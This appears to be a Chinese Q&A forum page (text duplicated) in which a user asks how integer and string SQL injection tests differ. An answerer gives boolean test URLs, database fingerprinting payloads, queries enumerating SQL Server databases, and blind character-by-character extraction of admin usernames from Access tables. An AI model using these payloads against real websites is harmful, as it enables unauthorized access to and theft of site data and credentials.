SQL注入中整型参数和字符串型参数是什么 有什么区别吗?
一下是我摘录的一些信息顺便解释一下:“1、整型参数的判断当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:select*from表名where字段=Y...
一下是我摘录的一些信息顺便解释一下:
“1、整型参数的判断
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
①http://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②http://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与http://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③http://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。
①http://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②http://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常,而且与http://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③http://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。”
我要详细的!!!!! 展开
“1、整型参数的判断
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
①http://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②http://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与http://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③http://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。
①http://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②http://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常,而且与http://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③http://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。”
我要详细的!!!!! 展开
2个回答
展开全部
我帮你解释以下吧,我只比较了解数字型的。
2、如果存在注入漏洞 and 后面是1=1,1=1是逻辑值真,所以所以网页返回正常,与原来的网页相同。
3、and后面是1=2是逻辑值假,整个语句就是假,所以返回异常的页面。
判断出存在注入漏洞后,就可以构造SQL语句猜解了。
SQL数据库可以运用一种叫做爆字段的方法,而ACCESS的就得一个字符一个字符的猜解了。
首先判断数据库类型
URL and (select count(*) from sysobjects)>0;--返回正常sql server
URL and (select count(*) from msysobjects)>0;--返回正常Access
SQL数据库爆的方法:
URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法得到数据库个数
URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--爆出库名
--依次提交 dbid = 2.3.4... 得到更多的数据库名
爆字段如果你懂得SQL语言的话应该能够触类旁通的。
ACCESS猜解:
URL and exists (select * from admin);--猜解admin表名
URL and exists (select username from admin) ;--猜解username字段
URL and exists (select id from admin where len(username)=5)猜解username长度。
猜出长度后再一位一位的猜字符。
URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)
2、如果存在注入漏洞 and 后面是1=1,1=1是逻辑值真,所以所以网页返回正常,与原来的网页相同。
3、and后面是1=2是逻辑值假,整个语句就是假,所以返回异常的页面。
判断出存在注入漏洞后,就可以构造SQL语句猜解了。
SQL数据库可以运用一种叫做爆字段的方法,而ACCESS的就得一个字符一个字符的猜解了。
首先判断数据库类型
URL and (select count(*) from sysobjects)>0;--返回正常sql server
URL and (select count(*) from msysobjects)>0;--返回正常Access
SQL数据库爆的方法:
URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法得到数据库个数
URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--爆出库名
--依次提交 dbid = 2.3.4... 得到更多的数据库名
爆字段如果你懂得SQL语言的话应该能够触类旁通的。
ACCESS猜解:
URL and exists (select * from admin);--猜解admin表名
URL and exists (select username from admin) ;--猜解username字段
URL and exists (select id from admin where len(username)=5)猜解username长度。
猜出长度后再一位一位的猜字符。
URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询